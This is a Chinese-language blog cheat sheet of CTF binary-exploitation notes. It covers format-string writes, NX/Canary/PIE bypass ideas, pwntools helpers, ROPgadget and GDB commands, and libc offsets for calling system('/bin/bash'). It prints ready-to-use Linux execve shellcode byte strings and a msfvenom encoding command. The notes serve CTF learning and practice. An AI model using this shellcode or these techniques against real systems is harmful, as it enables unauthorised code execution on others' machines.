CTF Pwn 的杂项笔记

这里是笔者记录的一些内容较少、不便于整理出一篇博客的Pwn杂项知识点。

1. docker 使用 - 使用手册

2. 漏洞

  1. 格式化字符串

    1
    2
    3
    4
    // %lln 四字 / %ln 双字 / %hn 单字 / %hhn 字节
    printf("%(n-1)$[format]"); // -> 第n个参数
    printf("%{n-1}$n"); // -> 将输出的字符个数写入第n个参数
    printf("%nc"); // -> 输出对应参数n个字符

3. 绕过防护的手段

  1. NX ------ 使用 ROPgadget 搜索可利用的小片段代码
  2. Canary – 读取 Canary 值并在 payload 中使用
  3. PIE ------ 由于相对偏移量不变,尝试泄露出任意一个基地址即可绕过

4. pwntools - docs

  1. DynELF 类 - 用于泄露 libc - docs

    1. 注意:构建leak函数时,必要时刻需要重置栈
      防止因为部分关键数据被覆盖而导致leak失败陷入死循环

  2. Fmtstr 类 - 对 printf 漏洞构造恶意 format - docs

    1. 较常使用的功能是
      fmtstr_payload(offset,{address:data}, numbwritten=0, write_size=’byte’)

      第一个参数 offset 是第一个可控的栈偏移(不包含格式化字符串参数)
      第二个字典看名字就可以理解,
      numbwritten 是指 printf 在格式化字符串之前输出的数据,比如 printf(“Hello [var]”),此时在可控变量之前已经输出了“Hello ”共计六个字符,应该设置参数值为 6。
      第四个选择用 %hhn(byte),%hn(word)还是%n(dword).在我们的例子里就可以写成 fmtstr_payload(5, {printf_got:system_plt})

  3. shellcraft 类 - shellcode 生成器

    1. 使用前需先指定平台

      1
      context(os="linux", arch="amd64", bits=64)
  4. 部分函数声明

    1. log
      1. log.success()
      2. log.info()
      3. log.error()
      4. log.failure()
      5. context.level = ‘debug’/‘error’
    2. p64(int) —— 传入值,传出 bytes
    3. u64(bytes) —— 与 p64 相反
    4. ELF(elf_path_str) —— 读取 ELF 文件(可执行文件,.so 共享库…)
    5. process(path_str) —— 执行传入文件路径上的程序
    6. remote(ip_str, port_int)` —— 传入格式为字符串的 ip 地址,以及格式为值的端口,连接并得到 IO 对象
    7. send(bytes) —— 发送数据,不带 0x0A
    8. sendline(bytes) —— 发送数据,结尾带 0x0A(’\n’)
    9. recv(int) —— 参数可选,接收 n 个字节的数据
    10. recvline() —— 接收数据,在没有接收到换行符的情况下一直阻塞
    11. recvuntil(Str) —— 一直读取输出的信息,直到读取到传入的字符串
  5. 有时候可能会因为缓冲区的问题阻塞一部分数据,加上 sleep 调整可能会得到改善

5. One_gadget - github

6. ROPgadget

  1.  # 查找字符串
     ROPgadget --binary ./pwn --string "/bin/sh"
     # 查找全部的gadget,并通过管道将信息发送到grep进行筛选
     ROPgadget --binary ./pwn1_64 | grep "pop rdi"
     #筛选出有pop或ret的片段
     ROPgadget --binary ./pwn1_64 --only "pop|ret"
     
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    2. > 注意:构建超长ROP链时,必要时刻需要重置栈
    > 防止因为部分关键数据被覆盖而导致调用syscall的函数无法使用
    > 例子: hgame2020 ROP_LEVEL0 构建 open-read-puts 链

    ## 7. GDB

    ```bash
    #输出system函数的内存地址
    gdb-peda$ print system
    #显示某个地址上的值,x表示examine,s表示string
    db-peda$ x/s 0x7FFFF7F7ECEE

8. libc 相关

  1. glibc-all-in-one

  2. pwn 题给出的 libc.so

    1. 可用于得到 system 函数和"/bin/bash"相对于库基址的偏移量
    2. 在程序中得到某个函数泄露出的地址之后,例如 write 函数的 GOT 地址,即可通过偏移量调用 system("/bin/bash")
  3. libc-database : 通过某些函数的地址来查询 libc 的版本 - 在线工具

  4. 更换加载的 libc.so

    1. patchelf 手册页

      1
      2
      3
      4
      patchelf --set-interpreter <libc_ld> <elf_name> # 设置链接器
      patchelf --set-rpath <libc_parent_folder>:/<libc_name> <elf_name>
      # patchelf --add-needed # 添加libc.so
      # patchelf --replace-needed # 替换libc.so
    2. 关于不同版本 glibc 强行加载的方法

    注意,更换使用的libc时,一定要同时更换对应版本的ld.so链接器,否则会无法正常使用libc而导致段错误

9. shellcode

  1. shellcode 数据库

  2. 常用 shellcode

    1
    2
    3
    4
    5
    // Linux x86-64 29 bytes
    char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
    // Linux x86 21 bytes
    char shellcode[] =
    "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
  3. 生成特定格式的 shellcode - msfven

    1
    python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' |  msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o output.txt

10. Linux Syscall Reference

  1. x86

    int execve(const char *pathname, char *const argv[], char *const envp[]);
    sys_exec : eax = 0xB, ebx = path_str_addr, ecx = NULL, edx = NULL

  2. x64
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~